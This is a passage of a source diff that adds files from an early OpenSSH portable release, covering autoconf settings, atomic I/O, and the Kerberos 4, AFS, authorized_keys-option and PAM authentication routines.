CONF_WTMPX_FILE + +/* Define is libutil has login() function */ +#undef HAVE_LIBUTIL_LOGIN + +/* Define if you want external askpass support */ +#undef USE_EXTERNAL_ASKPASS + +/* Define if libc defines __progname */ +#undef HAVE___PROGNAME + +/* Define if you want Kerberos 4 support */ +#undef KRB4 + +/* Define if you want AFS support */ +#undef AFS + +/* Define if you want S/Key support */ +#undef SKEY + +/* Define if you want TCP Wrappers support */ +#undef LIBWRAP + +/* Define if your libraries define login() */ +#undef HAVE_LOGIN + +/* Define if your libraries define daemon() */ +#undef HAVE_DAEMON + +/* Define if your libraries define getpagesize() */ +#undef HAVE_GETPAGESIZE + +/* Define if xauth is found in your path */ +#undef XAUTH_PATH + +/* Define if rsh is found in your path */ +#undef RSH_PATH + +/* Define if you want to allow MD5 passwords */ +#undef HAVE_MD5_PASSWORDS + +/* Define if you want to disable shadow passwords */ +#undef DISABLE_SHADOW + +/* Define if you want to use shadow password expire field */ +#undef HAS_SHADOW_EXPIRE + +/* Define if you want have trusted HPUX */ +#undef HAVE_HPUX_TRUSTED_SYSTEM_PW + +/* Define if you have Digital Unix Security Integration Architecture */ +#undef HAVE_OSF_SIA + +/* Define if you have getpwanam(3) [SunOS 4.x] */ +#undef HAVE_GETPWANAM + +/* Defined if in_systm.h needs to be included with netinet/ip.h (HPUX - ) */ +#undef NEED_IN_SYSTM_H + +/* Define if you have an old version of PAM which takes only one argument */ +/* to pam_strerror */ +#undef HAVE_OLD_PAM + +/* Set this to your mail directory if you don't have maillock.h */ +#undef MAIL_DIRECTORY + +/* Data types */ +#undef HAVE_INTXX_T +#undef HAVE_U_INTXX_T +#undef HAVE_UINTXX_T +#undef HAVE_SOCKLEN_T +#undef HAVE_SIZE_T +#undef HAVE_SSIZE_T +#undef HAVE_MODE_T +#undef HAVE_PID_T +#undef HAVE_SA_FAMILY_T +#undef HAVE_STRUCT_SOCKADDR_STORAGE +#undef HAVE_STRUCT_ADDRINFO +#undef HAVE_STRUCT_IN6_ADDR +#undef HAVE_STRUCT_SOCKADDR_IN6 + +/* Fields in struct sockaddr_storage */ +#undef HAVE_SS_FAMILY_IN_SS +#undef HAVE___SS_FAMILY_IN_SS + +/* Define if you have /dev/ptmx */ +#undef HAVE_DEV_PTMX + +/* Define if you have /dev/ptc */ +#undef HAVE_DEV_PTS_AND_PTC + +/* Define if you need to use IP address instead of hostname in $DISPLAY */ +#undef IPADDR_IN_DISPLAY + +/* Specify default $PATH */ +#undef USER_PATH + +/* Specify location of ssh.pid */ +#undef PIDDIR + +/* Use IPv4 for connection by default, IPv6 can still if explicity asked */ +#undef IPV4_DEFAULT + +/* getaddrinfo is broken (if present) */ +#undef BROKEN_GETADDRINFO + +/* Workaround more Linux IPv6 quirks */ +#undef DONT_TRY_OTHER_AF + +/* Detect IPv4 in IPv6 mapped addresses and treat as IPv4 */ +#undef IPV4_IN_IPV6 + +@BOTTOM@ + +/* ******************* Shouldn't need to edit below this line ************** */ + +#include "defines.h" + +#endif /* _CONFIG_H */ diff --git a/other/openssh-reverse/aclocal.m4 b/other/openssh-reverse/aclocal.m4 new file mode 100644 index 0000000..d196b75 --- /dev/null +++ b/other/openssh-reverse/aclocal.m4 @@ -0,0 +1,45 @@ +dnl $Id: aclocal.m4,v 1.4 2000/06/26 00:20:19 djm Exp $ +dnl +dnl OpenSSH-specific autoconf macros +dnl + + +dnl OSSH_CHECK_HEADER_FOR_FIELD(field, header, symbol) +dnl Does AC_EGREP_HEADER on 'header' for the string 'field' +dnl If found, set 'symbol' to be defined. Cache the result. +dnl TODO: This is not foolproof, better to compile and read from there +AC_DEFUN(OSSH_CHECK_HEADER_FOR_FIELD, [ +# look for field '$1' in header '$2' + dnl This strips characters illegal to m4 from the header filename + ossh_safe=`echo "$2" | sed 'y%./+-%__p_%'` + dnl + ossh_varname="ossh_cv_$ossh_safe""_has_"$1 + AC_MSG_CHECKING(for $1 field in $2) + AC_CACHE_VAL($ossh_varname, [ + AC_EGREP_HEADER($1, $2, [ dnl + eval "$ossh_varname=yes" dnl + ], [ dnl + eval "$ossh_varname=no" dnl + ]) dnl + ]) + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + AC_MSG_RESULT($ossh_result) + if test "x$ossh_result" = "xyes"; then + AC_DEFINE($3) + fi + else + AC_MSG_RESULT(no) + fi +]) + +dnl OSSH_PATH_ENTROPY_PROG(variablename, command): +dnl Tidiness function, sets 'undef' if not found, and does the AC_SUBST +AC_DEFUN(OSSH_PATH_ENTROPY_PROG, [ + AC_PATH_PROG($1, $2) + if test -z "[$]$1" ; then + $1="undef" + fi + AC_SUBST($1) +]) + diff --git a/other/openssh-reverse/atomicio.c b/other/openssh-reverse/atomicio.c new file mode 100644 index 0000000..45da22d --- /dev/null +++ b/other/openssh-reverse/atomicio.c @@ -0,0 +1,62 @@ +/* + * Copyright (c) 1999 Theo de Raadt + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: atomicio.c,v 1.4 2000/06/20 01:39:37 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" + +/* + * ensure all of data on socket comes through. f==read || f==write + */ +ssize_t +atomicio(f, fd, _s, n) + ssize_t (*f) (); + int fd; + void *_s; + size_t n; +{ + char *s = _s; + ssize_t res, pos = 0; + + while (n > pos) { + res = (f) (fd, s + pos, n - pos); + switch (res) { + case -1: +#ifdef EWOULDBLOCK + if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) +#else + if (errno == EINTR || errno == EAGAIN) +#endif + continue; + case 0: + return (res); + default: + pos += res; + } + } + return (pos); +} diff --git a/other/openssh-reverse/auth-krb4.c b/other/openssh-reverse/auth-krb4.c new file mode 100644 index 0000000..e32089b --- /dev/null +++ b/other/openssh-reverse/auth-krb4.c @@ -0,0 +1,351 @@ +/* + * Dug Song + * Kerberos v4 authentication and ticket-passing routines. + */ + +#include "includes.h" +#include "packet.h" +#include "xmalloc.h" +#include "ssh.h" +#include "servconf.h" + +RCSID("$OpenBSD: auth-krb4.c,v 1.15 2000/06/22 23:54:59 djm Exp $"); + +#ifdef KRB4 +char *ticket = NULL; + +extern ServerOptions options; + +/* + * try krb4 authentication, + * return 1 on success, 0 on failure, -1 if krb4 is not available + */ + +int +auth_krb4_password(struct passwd * pw, const char *password) +{ + AUTH_DAT adata; + KTEXT_ST tkt; + struct hostent *hp; + unsigned long faddr; + char localhost[MAXHOSTNAMELEN]; + char phost[INST_SZ]; + char realm[REALM_SZ]; + int r; + + /* + * Try Kerberos password authentication only for non-root + * users and only if Kerberos is installed. + */ + if (pw->pw_uid != 0 && krb_get_lrealm(realm, 1) == KSUCCESS) { + + /* Set up our ticket file. */ + if (!krb4_init(pw->pw_uid)) { + log("Couldn't initialize Kerberos ticket file for %s!", + pw->pw_name); + goto kerberos_auth_failure; + } + /* Try to get TGT using our password. */ + r = krb_get_pw_in_tkt((char *) pw->pw_name, "", + realm, "krbtgt", realm, + DEFAULT_TKT_LIFE, (char *) password); + if (r != INTK_OK) { + packet_send_debug("Kerberos V4 password " + "authentication for %s failed: %s", + pw->pw_name, krb_err_txt[r]); + goto kerberos_auth_failure; + } + /* Successful authentication. */ + chown(tkt_string(), pw->pw_uid, pw->pw_gid); + + /* + * Now that we have a TGT, try to get a local + * "rcmd" ticket to ensure that we are not talking + * to a bogus Kerberos server. + */ + (void) gethostname(localhost, sizeof(localhost)); + (void) strlcpy(phost, (char *) krb_get_phost(localhost), + INST_SZ); + r = krb_mk_req(&tkt, KRB4_SERVICE_NAME, phost, realm, 33); + + if (r == KSUCCESS) { + if (!(hp = gethostbyname(localhost))) { + log("Couldn't get local host address!"); + goto kerberos_auth_failure; + } + memmove((void *) &faddr, (void *) hp->h_addr, + sizeof(faddr)); + + /* Verify our "rcmd" ticket. */ + r = krb_rd_req(&tkt, KRB4_SERVICE_NAME, phost, + faddr, &adata, ""); + if (r == RD_AP_UNDEC) { + /* + * Probably didn't have a srvtab on + * localhost. Allow login. + */ + log("Kerberos V4 TGT for %s unverifiable, " + "no srvtab installed? krb_rd_req: %s", + pw->pw_name, krb_err_txt[r]); + } else if (r != KSUCCESS) { + log("Kerberos V4 %s ticket unverifiable: %s", + KRB4_SERVICE_NAME, krb_err_txt[r]); + goto kerberos_auth_failure; + } + } else if (r == KDC_PR_UNKNOWN) { + /* + * Allow login if no rcmd service exists, but + * log the error. + */ + log("Kerberos V4 TGT for %s unverifiable: %s; %s.%s " + "not registered, or srvtab is wrong?", pw->pw_name, + krb_err_txt[r], KRB4_SERVICE_NAME, phost); + } else { + /* + * TGT is bad, forget it. Possibly spoofed! + */ + packet_send_debug("WARNING: Kerberos V4 TGT " + "possibly spoofed for %s: %s", + pw->pw_name, krb_err_txt[r]); + goto kerberos_auth_failure; + } + + /* Authentication succeeded. */ + return 1; + +kerberos_auth_failure: + krb4_cleanup_proc(NULL); + + if (!options.kerberos_or_local_passwd) + return 0; + } else { + /* Logging in as root or no local Kerberos realm. */ + packet_send_debug("Unable to authenticate to Kerberos."); + } + /* Fall back to ordinary passwd authentication. */ + return -1; +} + +void +krb4_cleanup_proc(void *ignore) +{ + debug("krb4_cleanup_proc called"); + if (ticket) { + (void) dest_tkt(); + xfree(ticket); + ticket = NULL; + } +} + +int +krb4_init(uid_t uid) +{ + static int cleanup_registered = 0; + const char *tkt_root = TKT_ROOT; + struct stat st; + int fd; + + if (!ticket) { + /* Set unique ticket string manually since we're still root. */ + ticket = xmalloc(MAXPATHLEN); +#ifdef AFS + if (lstat("/ticket", &st) != -1) + tkt_root = "/ticket/"; +#endif /* AFS */ + snprintf(ticket, MAXPATHLEN, "%s%d_%d", tkt_root, uid, getpid()); + (void) krb_set_tkt_string(ticket); + } + /* Register ticket cleanup in case of fatal error. */ + if (!cleanup_registered) { + fatal_add_cleanup(krb4_cleanup_proc, NULL); + cleanup_registered = 1; + } + /* Try to create our ticket file. */ + if ((fd = mkstemp(ticket)) != -1) { + close(fd); + return 1; + } + /* Ticket file exists - make sure user owns it (just passed ticket). */ + if (lstat(ticket, &st) != -1) { + if (st.st_mode == (S_IFREG | S_IRUSR | S_IWUSR) && + st.st_uid == uid) + return 1; + } + /* Failure - cancel cleanup function, leaving bad ticket for inspection. */ + log("WARNING: bad ticket file %s", ticket); + fatal_remove_cleanup(krb4_cleanup_proc, NULL); + cleanup_registered = 0; + xfree(ticket); + ticket = NULL; + + return 0; +} + +int +auth_krb4(const char *server_user, KTEXT auth, char **client) +{ + AUTH_DAT adat = {0}; + KTEXT_ST reply; + char instance[INST_SZ]; + int r, s; + socklen_t slen; + u_int cksum; + Key_schedule schedule; + struct sockaddr_in local, foreign; + + s = packet_get_connection_in(); + + slen = sizeof(local); + memset(&local, 0, sizeof(local)); + if (getsockname(s, (struct sockaddr *) & local, &slen) < 0) + debug("getsockname failed: %.100s", strerror(errno)); + slen = sizeof(foreign); + memset(&foreign, 0, sizeof(foreign)); + if (getpeername(s, (struct sockaddr *) & foreign, &slen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + instance[0] = '*'; + instance[1] = 0; + + /* Get the encrypted request, challenge, and session key. */ + if ((r = krb_rd_req(auth, KRB4_SERVICE_NAME, instance, 0, &adat, ""))) { + packet_send_debug("Kerberos V4 krb_rd_req: %.100s", krb_err_txt[r]); + return 0; + } + des_key_sched((des_cblock *) adat.session, schedule); + + *client = xmalloc(MAX_K_NAME_SZ); + (void) snprintf(*client, MAX_K_NAME_SZ, "%s%s%s@%s", adat.pname, + *adat.pinst ? "." : "", adat.pinst, adat.prealm); + + /* Check ~/.klogin authorization now. */ + if (kuserok(&adat, (char *) server_user) != KSUCCESS) { + packet_send_debug("Kerberos V4 .klogin authorization failed!"); + log("Kerberos V4 .klogin authorization failed for %s to account %s", + *client, server_user); + xfree(*client); + return 0; + } + /* Increment the checksum, and return it encrypted with the + session key. */ + cksum = adat.checksum + 1; + cksum = htonl(cksum); + + /* If we can't successfully encrypt the checksum, we send back an + empty message, admitting our failure. */ + if ((r = krb_mk_priv((u_char *) & cksum, reply.dat, sizeof(cksum) + 1, + schedule, &adat.session, &local, &foreign)) < 0) { + packet_send_debug("Kerberos V4 mk_priv: (%d) %s", r, krb_err_txt[r]); + reply.dat[0] = 0; + reply.length = 0; + } else + reply.length = r; + + /* Clear session key. */ + memset(&adat.session, 0, sizeof(&adat.session)); + + packet_start(SSH_SMSG_AUTH_KERBEROS_RESPONSE); + packet_put_string((char *) reply.dat, reply.length); + packet_send(); + packet_write_wait(); + return 1; +} +#endif /* KRB4 */ + +#ifdef AFS +int +auth_kerberos_tgt(struct passwd *pw, const char *string) +{ + CREDENTIALS creds; + + if (!radix_to_creds(string, &creds)) { + log("Protocol error decoding Kerberos V4 tgt"); + packet_send_debug("Protocol error decoding Kerberos V4 tgt"); + goto auth_kerberos_tgt_failure; + } + if (strncmp(creds.service, "", 1) == 0) /* backward compatibility */ + strlcpy(creds.service, "krbtgt", sizeof creds.service); + + if (strcmp(creds.service, "krbtgt")) { + log("Kerberos V4 tgt (%s%s%s@%s) rejected for %s", creds.pname, + creds.pinst[0] ? "." : "", creds.pinst, creds.realm, + pw->pw_name); + packet_send_debug("Kerberos V4 tgt (%s%s%s@%s) rejected for %s", + creds.pname, creds.pinst[0] ? "." : "", creds.pinst, + creds.realm, pw->pw_name); + goto auth_kerberos_tgt_failure; + } + if (!krb4_init(pw->pw_uid)) + goto auth_kerberos_tgt_failure; + + if (in_tkt(creds.pname, creds.pinst) != KSUCCESS) + goto auth_kerberos_tgt_failure; + + if (save_credentials(creds.service, creds.instance, creds.realm, + creds.session, creds.lifetime, creds.kvno, + &creds.ticket_st, creds.issue_date) != KSUCCESS) { + packet_send_debug("Kerberos V4 tgt refused: couldn't save credentials"); + goto auth_kerberos_tgt_failure; + } + /* Successful authentication, passed all checks. */ + chown(tkt_string(), pw->pw_uid, pw->pw_gid); + + packet_send_debug("Kerberos V4 tgt accepted (%s.%s@%s, %s%s%s@%s)", + creds.service, creds.instance, creds.realm, creds.pname, + creds.pinst[0] ? "." : "", creds.pinst, creds.realm); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + return 1; + +auth_kerberos_tgt_failure: + krb4_cleanup_proc(NULL); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; +} + +int +auth_afs_token(struct passwd *pw, const char *token_string) +{ + CREDENTIALS creds; + uid_t uid = pw->pw_uid; + + if (!radix_to_creds(token_string, &creds)) { + log("Protocol error decoding AFS token"); + packet_send_debug("Protocol error decoding AFS token"); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; + } + if (strncmp(creds.service, "", 1) == 0) /* backward compatibility */ + strlcpy(creds.service, "afs", sizeof creds.service); + + if (strncmp(creds.pname, "AFS ID ", 7) == 0) + uid = atoi(creds.pname + 7); + + if (kafs_settoken(creds.realm, uid, &creds)) { + log("AFS token (%s@%s) rejected for %s", creds.pname, creds.realm, + pw->pw_name); + packet_send_debug("AFS token (%s@%s) rejected for %s", creds.pname, + creds.realm, pw->pw_name); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; + } + packet_send_debug("AFS token accepted (%s@%s, %s@%s)", creds.service, + creds.realm, creds.pname, creds.realm); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + return 1; +} +#endif /* AFS */ diff --git a/other/openssh-reverse/auth-options.c b/other/openssh-reverse/auth-options.c new file mode 100644 index 0000000..55ccc85 --- /dev/null +++ b/other/openssh-reverse/auth-options.c @@ -0,0 +1,208 @@ +#include "includes.h" +RCSID("$OpenBSD: auth-options.c,v 1.2 2000/06/20 01:39:38 markus Exp $"); + +#include "ssh.h" +#include "packet.h" +#include "xmalloc.h" +#include "match.h" + +/* Flags set authorized_keys flags */ +int no_port_forwarding_flag = 0; +int no_agent_forwarding_flag = 0; +int no_x11_forwarding_flag = 0; +int no_pty_flag = 0; + +/* "command=" option. */ +char *forced_command = NULL; + +/* "environment=" options. */ +struct envstring *custom_environment = NULL; + +/* return 1 if access is granted, 0 if not. side effect: sets key option flags */ +int +auth_parse_options(struct passwd *pw, char *options, unsigned long linenum) +{ + const char *cp; + if (!options) + return 1; + while (*options && *options != ' ' && *options != '\t') { + cp = "no-port-forwarding"; + if (strncmp(options, cp, strlen(cp)) == 0) { + packet_send_debug("Port forwarding disabled."); + no_port_forwarding_flag = 1; + options += strlen(cp); + goto next_option; + } + cp = "no-agent-forwarding"; + if (strncmp(options, cp, strlen(cp)) == 0) { + packet_send_debug("Agent forwarding disabled."); + no_agent_forwarding_flag = 1; + options += strlen(cp); + goto next_option; + } + cp = "no-X11-forwarding"; + if (strncmp(options, cp, strlen(cp)) == 0) { + packet_send_debug("X11 forwarding disabled."); + no_x11_forwarding_flag = 1; + options += strlen(cp); + goto next_option; + } + cp = "no-pty"; + if (strncmp(options, cp, strlen(cp)) == 0) { + packet_send_debug("Pty allocation disabled."); + no_pty_flag = 1; + options += strlen(cp); + goto next_option; + } + cp = "command=\""; + if (strncmp(options, cp, strlen(cp)) == 0) { + int i; + options += strlen(cp); + forced_command = xmalloc(strlen(options) + 1); + i = 0; + while (*options) { + if (*options == '"') + break; + if (*options == '\\' && options[1] == '"') { + options += 2; + forced_command[i++] = '"'; + continue; + } + forced_command[i++] = *options++; + } + if (!*options) { + debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + continue; + } + forced_command[i] = 0; + packet_send_debug("Forced command: %.900s", forced_command); + options++; + goto next_option; + } + cp = "environment=\""; + if (strncmp(options, cp, strlen(cp)) == 0) { + int i; + char *s; + struct envstring *new_envstring; + options += strlen(cp); + s = xmalloc(strlen(options) + 1); + i = 0; + while (*options) { + if (*options == '"') + break; + if (*options == '\\' && options[1] == '"') { + options += 2; + s[i++] = '"'; + continue; + } + s[i++] = *options++; + } + if (!*options) { + debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + continue; + } + s[i] = 0; + packet_send_debug("Adding to environment: %.900s", s); + debug("Adding to environment: %.900s", s); + options++; + new_envstring = xmalloc(sizeof(struct envstring)); + new_envstring->s = s; + new_envstring->next = custom_environment; + custom_environment = new_envstring; + goto next_option; + } + cp = "from=\""; + if (strncmp(options, cp, strlen(cp)) == 0) { + int mname, mip; + char *patterns = xmalloc(strlen(options) + 1); + int i; + options += strlen(cp); + i = 0; + while (*options) { + if (*options == '"') + break; + if (*options == '\\' && options[1] == '"') { + options += 2; + patterns[i++] = '"'; + continue; + } + patterns[i++] = *options++; + } + if (!*options) { + debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + continue; + } + patterns[i] = 0; + options++; + /* + * Deny access if we get a negative + * match for the hostname or the ip + * or if we get not match at all + */ + mname = match_hostname(get_canonical_hostname(), + patterns, strlen(patterns)); + mip = match_hostname(get_remote_ipaddr(), + patterns, strlen(patterns)); + xfree(patterns); + if (mname == -1 || mip == -1 || + (mname != 1 && mip != 1)) { + log("Authentication tried for %.100s with correct key but not from a permitted host (host=%.200s, ip=%.200s).", + pw->pw_name, get_canonical_hostname(), + get_remote_ipaddr()); + packet_send_debug("Your host '%.200s' is not permitted to use this key for login.", + get_canonical_hostname()); + /* key invalid for this host, reset flags */ + no_agent_forwarding_flag = 0; + no_port_forwarding_flag = 0; + no_pty_flag = 0; + no_x11_forwarding_flag = 0; + while (custom_environment) { + struct envstring *ce = custom_environment; + custom_environment = ce->next; + xfree(ce->s); + xfree(ce); + } + if (forced_command) { + xfree(forced_command); + forced_command = NULL; + } + /* deny access */ + return 0; + } + /* Host name matches. */ + goto next_option; + } +next_option: + /* + * Skip the comma, and move to the next option + * (or break out if there are no more). + */ + if (!*options) + fatal("Bugs in auth-options.c option processing."); + if (*options == ' ' || *options == '\t') + break; /* End of options. */ + if (*options != ',') + goto bad_option; + options++; + /* Process the next option. */ + } + /* grant access */ + return 1; + +bad_option: + log("Bad options in %.100s file, line %lu: %.50s", + SSH_USER_PERMITTED_KEYS, linenum, options); + packet_send_debug("Bad options in %.100s file, line %lu: %.50s", + SSH_USER_PERMITTED_KEYS, linenum, options); + /* deny access */ + return 0; +} diff --git a/other/openssh-reverse/auth-options.h b/other/openssh-reverse/auth-options.h new file mode 100644 index 0000000..1ecdb9d --- /dev/null +++ b/other/openssh-reverse/auth-options.h @@ -0,0 +1,13 @@ +#ifndef AUTH_OPTIONS_H +#define AUTH_OPTIONS_H +/* Flags that may be set in authorized_keys options. */ +extern int no_port_forwarding_flag; +extern int no_agent_forwarding_flag; +extern int no_x11_forwarding_flag; +extern int no_pty_flag; +extern char *forced_command; +extern struct envstring *custom_environment; + +/* return 1 if access is granted, 0 if not. side effect: sets key option flags */ +int auth_parse_options(struct passwd *pw, char *options, unsigned long linenum); +#endif diff --git a/other/openssh-reverse/auth-pam.c b/other/openssh-reverse/auth-pam.c new file mode 100644 index 0000000..852dbdc --- /dev/null +++ b/other/openssh-reverse/auth-pam.c @@ -0,0 +1,307 @@ +/* + * Copyright (c) 2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#ifdef USE_PAM +#include "ssh.h" +#include "xmalloc.h" +#include "servconf.h" + +RCSID("$Id: auth-pam.c,v 1.11 2000/07/09 12:42:33 djm Exp $"); + +#define NEW_AUTHTOK_MSG \ + "Warning: You password has expired, please change it now" + +/* Callbacks */ +static int pamconv(int num_msg, const struct pam_message **msg, + struct pam_response **resp, void *appdata_ptr); +void pam_cleanup_proc(void *context); +void pam_msg_cat(const char *msg); + +/* module-local variables */ +static struct pam_conv conv = { + pamconv, + NULL +}; +static struct pam_handle_t *pamh = NULL; +static const char *pampasswd = NULL; +static char *pam_msg = NULL; + +/* PAM conversation function. This is really a kludge to get the password */ +/* into PAM and to pick up any messages generated by PAM into pamconv_msg */ +static int pamconv(int num_msg, const struct pam_message **msg, + struct pam_response **resp, void *appdata_ptr) +{ + struct pam_response *reply; + int count; + + /* PAM will free this later */ + reply = malloc(num_msg * sizeof(*reply)); + if (reply == NULL) + return PAM_CONV_ERR; + + for(count = 0; count < num_msg; count++) { + switch (msg[count]->msg_style) { + case PAM_PROMPT_ECHO_OFF: + if (pampasswd == NULL) { + free(reply); + return PAM_CONV_ERR; + } + reply[count].resp_retcode = PAM_SUCCESS; + reply[count].resp = xstrdup(pampasswd); + break; + case PAM_TEXT_INFO: + reply[count].resp_retcode = PAM_SUCCESS; + reply[count].resp = xstrdup(""); + + if (msg[count]->msg != NULL) + pam_msg_cat(msg[count]->msg); + + break; + default: + free(reply); + return PAM_CONV_ERR; + } + } + + *resp = reply; + + return PAM_SUCCESS; +} + +/* Called at exit to cleanly shutdown PAM */ +void pam_cleanup_proc(void *context) +{ + int pam_retval; + + if (pamh != NULL) + { + pam_retval = pam_close_session((pam_handle_t *)pamh, 0); + if (pam_retval != PAM_SUCCESS) { + log("Cannot close PAM session: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + + pam_retval = pam_setcred((pam_handle_t *)pamh, PAM_DELETE_CRED); + if (pam_retval != PAM_SUCCESS) { + log("Cannot delete credentials: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + + pam_retval = pam_end((pam_handle_t *)pamh, pam_retval); + if (pam_retval != PAM_SUCCESS) { + log("Cannot release PAM authentication: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + } +} + +/* Attempt password authentation using PAM */ +int auth_pam_password(struct passwd *pw, const char *password) +{ + extern ServerOptions options; + int pam_retval; + + /* deny if no user. */ + if (pw == NULL) + return 0; + if (pw->pw_uid == 0 && options.permit_root_login == 2) + return 0; + if (*password == '\0' && options.permit_empty_passwd == 0) + return 0; + + pampasswd = password; + + pam_retval = pam_authenticate((pam_handle_t *)pamh, 0); + if (pam_retval == PAM_SUCCESS) { + debug("PAM Password authentication accepted for user \"%.100s\"", + pw->pw_name); + return 1; + } else { + debug("PAM Password authentication for \"%.100s\" failed: %s", + pw->pw_name, PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + return 0; + } +} + +/* Do account management using PAM */ +int do_pam_account(char *username, char *remote_user) +{ + int pam_retval; + + debug("PAM setting rhost to \"%.200s\"", get_canonical_hostname()); + pam_retval = pam_set_item((pam_handle_t *)pamh, PAM_RHOST, + get_canonical_hostname()); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM set rhost failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + + if (remote_user != NULL) { + debug("PAM setting ruser to \"%.200s\"", remote_user); + pam_retval = pam_set_item((pam_handle_t *)pamh, PAM_RUSER, remote_user); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM set ruser failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + } + + pam_retval = pam_acct_mgmt((pam_handle_t *)pamh, 0); + switch (pam_retval) { + case PAM_SUCCESS: + /* This is what we want */ + break; + case PAM_NEW_AUTHTOK_REQD: + pam_msg_cat(NEW_AUTHTOK_MSG); + break; + default: + log("PAM rejected by account configuration: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + return(0); + } + + return(1); +} + +/* Do PAM-specific session initialisation */ +void do_pam_session(char *username, const char *ttyname) +{ + int pam_retval; + + if (ttyname != NULL) { + debug("PAM setting tty to \"%.200s\"", ttyname); + pam_retval = pam_set_item((pam_handle_t *)pamh, PAM_TTY, ttyname); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM set tty failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + } + + pam_retval = pam_open_session((pam_handle_t *)pamh, 0); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM session setup failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } +} + +/* Set PAM credentials */ +void do_pam_setcred() +{ + int pam_retval; + + debug("PAM establishing creds"); + pam_retval = pam_setcred((pam_handle_t *)pamh, PAM_ESTABLISH_CRED); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM setcred failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } +} + +/* Cleanly shutdown PAM */ +void finish_pam(void) +{ + pam_cleanup_proc(NULL); + fatal_remove_cleanup(&pam_cleanup_proc, NULL); +} + +/* Start PAM authentication for specified account */ +void start_pam(struct passwd *pw) +{ + int pam_retval; + + debug("Starting up PAM with username \"%.200s\"", 